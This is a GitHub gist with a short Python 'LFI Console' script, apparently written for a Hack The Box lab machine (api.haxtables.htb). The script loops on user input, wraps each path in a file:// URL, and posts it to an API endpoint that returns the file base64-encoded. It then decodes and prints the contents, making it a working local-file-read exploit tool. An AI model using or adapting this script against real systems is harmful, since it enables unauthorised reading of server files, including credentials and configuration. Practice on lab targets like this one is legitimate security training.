Skip to content

Instantly share code, notes, and snippets.

@zAbuQasem
Created April 18, 2023 23:16
Show Gist options
  • Save zAbuQasem/21c7fcbb9b32cf4102c7003c9a0870f3 to your computer and use it in GitHub Desktop.
Save zAbuQasem/21c7fcbb9b32cf4102c7003c9a0870f3 to your computer and use it in GitHub Desktop.
LFI Console template
import requests
import readline
import base64
from rich import print_json
from rich.console import Console
import json
readline.read_history_file("lfi.history")
readline.parse_and_bind("tab: complete")
r = Console()
r.print("~ zLFI Console", style="bold blue")
while True:
try:
readline.append_history_file(100,"lfi.history")
LFI = input("(LFI)>> ").strip()
json_data = {'action': 'b64encode','file_url': f'file://{LFI}',}
response = requests.post('http://api.haxtables.htb/v3/tools/string/index.php', json=json_data)
data = json.loads(response.text)['data']
r.print(base64.b64decode(data).decode(), style="bold blue")
except KeyboardInterrupt:
print("")
except EOFError:
print("\n[!] Exited")
exit(0)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment